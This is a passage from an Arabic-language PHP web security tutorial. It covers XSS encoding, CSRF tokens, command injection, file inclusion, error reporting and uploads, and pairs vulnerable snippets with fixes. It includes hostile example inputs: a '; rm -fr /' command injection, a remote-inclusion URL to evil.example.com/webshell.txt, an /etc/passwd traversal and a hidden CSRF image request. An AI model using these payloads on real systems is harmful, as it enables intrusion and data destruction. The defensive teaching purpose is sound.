echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

الخرج:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

كل ما هو داخل وسم <div> لن يفسّره المتصفح كوسم جافاسكربت وإنّما كعقدة نصية بسيطة وسيرى المستخدم بأمان:

<script src="http://example.com/runme.js"></script>

ترميز الرابط

توفر PHP الدالة urlencode لإخراج روابط صحيحة بأمان عند عرض رابط متولِّد ديناميكيًا. لذا إذا كان المستخدم قادرًا على إدخال بيانات تصبح جزءًا من معامل GET آخر:

<?php
$input = urlencode($_GET['input']);
// أو
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

سيُحوَّل أي دخل ضار إلى معامل رابط مُرمَّز.

استخدام مكتبات خارجية متخصصة أو قوائم OWASP AntiSamy

قد تحتاج أحيانًا إلى إرسال شيفرة HTML أو نوع شيفرة آخر مُدخل، عندها يجب أن تحتفظ بقائمة من الكلمات المصرَّح بها (قائمة بيضاء) وقائمة بالكلمات غير المصرَّح بها (قائمة سوداء)، يمكنك تحميل القوائم المعيارية المتوفرة في موقع OWASP AntiSamy، وهي اختصار إلى ‏Open Web Application Security Project، تناسب كل قائمة نوع محدد من التفاعل (واجهة برمجة تطبيقات eBay، محرر النصوص tinyMCE وغير ذلك) وهي مفتوحة المصدر.

يوجد مكتبات لترشيح شيفرة HTML ومنع هجمات XSS في الحالة العامة وتؤدي على الأقل نفس أداء قوائم AntiSamy مع استخدام سهل جدًا. لديك مثلًا منقي HTML.

هجمات تزوير الطلب عبر المواقع (Cross-Site Request Forgery)

المشكلة

يمكن أن يفرض هجوم تزوير الطلب عبر الموقع CSRF المستخدم النهائي على توليد طلبات ضارة إلى خادم الويب بدون علمه، يمكن استغلال هذا الهجوم في طلبات POST وGET، لنفرض مثلًا أنّ رابط نقطة النهاية ‎/delete.php?accnt=12‎ يحذف الحساب الممرر عبر المعامل accnt في الطلب GET، إذا واجه الآن المستخدم الموثوق السكربت التالي في أي تطبيق آخر:

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

سيُحذف الحساب.

الحل

الحل الشائع لهذه المشكلة هو استخدام مفاتيح CSRF (‏CSRF tokens)، تُضمَّن هذه المفاتيح في الطلبات بحيث يمكن لتطبيق الويب أن يثق أنّ الطلب قادم من مصدر متوقع كجزء من تدفق العمل العادي للتطبيق، يقوم المستخدم أولًا ببعض الإجراءات مثل عرض نموذج يبدأ بإنشاء مفتاح فريد، مثال بسيط لذلك:

<form method="get" action="/delete.php">
    <input type="text" name="accnt" placeholder="accnt number" />
    <input type="hidden" name="csrf_token" value="<randomToken>" />
    <input type="submit" />
</form>

يمكن بعدها أن يتحقق الخادم من صحة المفتاح مقابل جلسة المستخدم بعد إرسال النموذج لإزالة الطلبات الضارة.

مثال

إليك المثال التالي:

// ‫الشيفرة التالية لتوليد مفتاح CSRF وتخزينه
<?php
    session_start();
    function generate_token() {
        // التحقق من وجود مفتاح لهذه الجلسة
        if(!isset($_SESSION["csrf_token"])) {
            // لا يوجد مفتاح لذا ولّد واحدًا جديدًا
            $token = random_bytes(64);
            $_SESSION["csrf_token"] = $token;
        } else {
            // أعد استخدام المفتاح
            $token = $_SESSION["csrf_token"];
        }
        return $token;
    }
?>
<body>
    <form method="get" action="/delete.php">
        <input type="text" name="accnt" placeholder="accnt number" />
        <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
        <input type="submit" />
    </form>
</body>
...

// الشيفرة التالية للتحقق من صحة المفتاح وحذف الطلبات الضارة
...
<?php
    session_start();
    if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
        // أعد تعيين المفتاح
        unset($_SESSION["csrf_token"]);
        die("CSRF token validation failed");
    }
?>
...

يوجد العديد من المكتبات وأطر العمل التي لها تنفيذ خاص بها للتحقق من صحة CSRF، وبالرغم من أنّ تنفيذ CSRF هذا بسيط فأنت تحتاج إلى كتابة بعض الشيفرة لإعادة توليد مفتاح CSRF ديناميكيًا لمنع سرقة مفتاح CSRF وتحديده.

حقن سطر الأوامر

المشكلة

يسمح حقن SQL للمهاجم بتنفيذ استعلامات عشوائية على قاعدة البيانات، وبطريقة مشابهة فإنّ هجوم حقن سطر الأوامر يسمح للمهاجم ܏بتنفيذ أوامر نظام غير موثوق بها على خادم ويب. ومع وجود خادم غير آمن بشكلٍ صحيح فإنّ هذا يعطي المهاجم تحكمًا كاملًا بالنظام.

لنفرض مثلًا أنّ لدينا سكربت يسمح للمستخدم بالحصول على قائمة بمحتويات مجلد على خادم الويب.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

يستخدم الشخص في التطبيقات الحقيقية دوال PHP مضمنة أو كائنات للحصول على محتويات المسار، لكن هذا المثال لإثبات أمني بسيط.

قد تتأمل الحصول على معامل مسار بشكلٍ مشابه للمعامل ‎/tmp ولكن بما أنّ أي دخل مسموح به فمن الممكن أن يكون ‎; rm -fr /‎، عندها سينفذ خادم الويب الأمر:

ls; rm -fr /

ويحاول حذف كل الملفات من المجلد الجذر للخادم.

الحل

يجب أن تُهرَّب جميع وسائط الأمر باستخدام الدالة escapeshellarg()‎ أو escapeshellcmd()‎ مما يجعلها غير قابلة للتنفيذ كما يجب أن يتم التحقق من صحة كل قيمة مدخلة.

في أبسط الحالات يمكننا تأمين مثالنا بالشكل التالي:

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

وفقًا للمثال السابق، مع محاولة حذف الملفات يصبح الأمر المنفّذ:

ls '; rm -fr /'

وتُمرَّر السلسلة النصية ببساطة كمعامل للأمر ls بدلًا من إنهاء هذا الأمر وتنفيذ الأمر rm.

يجب الإشارة إلى أنّ المثال في الأعلى أصبح آمنًا الآن من هجوم حقن الأوامر لكن ليس من اجتياز traversal المجلد، ولإصلاح ذلك يجب التحقق من أنّ المسار الطبيعي يبدأ بالمجلد الفرعي المرغوب به.

توفر PHP دوالًا متنوعة لتنفيذ أوامر النظام مثل كلّ من:

• exec.
• ‏passthru
• ‏proc_open
• ‏‏shell_exec
• system

حيث يجب التحقق من صحة جميع مدخلاتها وتهريبها.

إزالة الوسوم

إنّ الدالة strip_tags دالة قوية جدًا إذا كنت تعرف كيفية استخدامها، وتوجد طرق أفضل لمنع هجمات البرمجة عبر المواقع مثل ترميز المحارف لكن إزالة الوسوم مفيدة في بعض الحالات.

انظر المثال الأساسي التالي:

$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);

الخرج الخام الناتج:

Hello, please remove the tags.

بفرض أنك تريد السماح بوجود وسم معين، عندها يجب أن تحدد ذلك في المعامل الثاني للدالة، هذا المعامل اختياري، فمثلًا إذا أردت السماح بمرور الوسم <b> فقط.

$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');

الخرج الخام للشيفرة السابقة:

<b>Hello, please remove the tags.</b>

ملاحظة: إنّ تعليقات HTML ووسوم PHP تُزال أيضًا وهذا لا يمكن تغييره، وفي الإصدار PHP 5.3.4 والإصدارات اللاحقة تُهمل وسوم XHTML ذاتية الإغلاق وتُستخدم فقط الوسوم غير ذاتية الإغلاق فمثلًا للسماح بالوسمين <br> و<br/> يجب أن تستخدم:

<?php
strip_tags($input, '<br>');
?>

إدراج ملف

إدراج ملف بعيد

يعد إدراج ملف بعيد RFI نوعًا من الثغرات التي تسمح للمهاجم بتضمين ملف بعيد، يحقن هذا المثال ملفًا مستضافًا عن بعد يتضمن شيفرة ضارة:

<?php
include $_GET['page'];

/vulnerable.php?page=http://evil.example.com/webshell.txt?

إدراج ملف محلي

إدراج ملف محلي LFI في عملية تضمين الملفات على الخادم عبر متصفح الويب.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

حل RFI وLFI

يُنصح بالسماح بتضمين الملفات التي توافق عليها فقط.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

الإبلاغ عن الأخطاء

تُظهر PHP افتراضيًا رسائل الخطأ والتحذيرات والملاحظات مباشرةً على الصفحة إذا حدث شيء ما غير متوقع في السكربت، وهذا مفيد لحل مشاكل معينة لكن في نفس الوقت يعرض معلومات لا تريد أن يعرفها المستخدمين، لذا يعد تجنب عرض هذه الرسائل التي تظهر معلومات خادمك مثل شجرة المجلدات في بيئة الإنتاج ممارسةً جيدة، أما في بيئة التطوير أو الاختبار فإنّ عرض هذه الرسائل يكون مفيدًا لتنقيح الأخطاء.

حل سريع

يمكنك إيقاف تشغيل عرض هذه الرسائل بشكلٍ كامل لكن هذا يجعل عملية تنقيح أخطاء السكربت أصعب.

<?php
    ini_set("display_errors", "0");
?>

أو تغيير هذا مباشرةً في ملف php.ini:

display_errors = 0

معالجة الأخطاء

إن الخيار الأفضل دائمًا هو تخزين رسائل الخطأ هذه في مكان ما مثل قاعدة البيانات.

set_error_handler(function($errno , $errstr, $errfile, $errline){
    try{
        $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);

        if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
            if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
                throw new Exception('Unable to execute query');
            }
        } else {
            throw new Exception('Unable to prepare query');
        }
    } catch (Exception $e){
        error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
    }
});

ستسجل هذه الطريقة الرسائل في قاعدة البيانات وإذا فشلت في ذلك ستسجلها في ملف بدلًا من عرضها مباشرةً في الصفحة، وبذلك يمكنك تتبع ما يواجهه المستخدمون في موقعك وملاحظة وجود أي خطأ مباشرةً.

رفع ملفات

إذا أردت السماح للمستخدمين برفع ملفات إلى خادمك تحتاج إلى مضاعفة التحقق الأمني قبل أن ينتقل الملف المرفوع إلى الخادم مباشرةً.

البيانات المرفوعة

تحتوي هذه المصفوفة على بيانات مُرسلة من قبل مستخدم وهي ليست معلومات عن الملف، بينما يولّد المتصفح هذه البيانات يمكن للمستخدم إرسال طلب بالطريقة post إلى نفس النموذج باستخدام برنامج.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];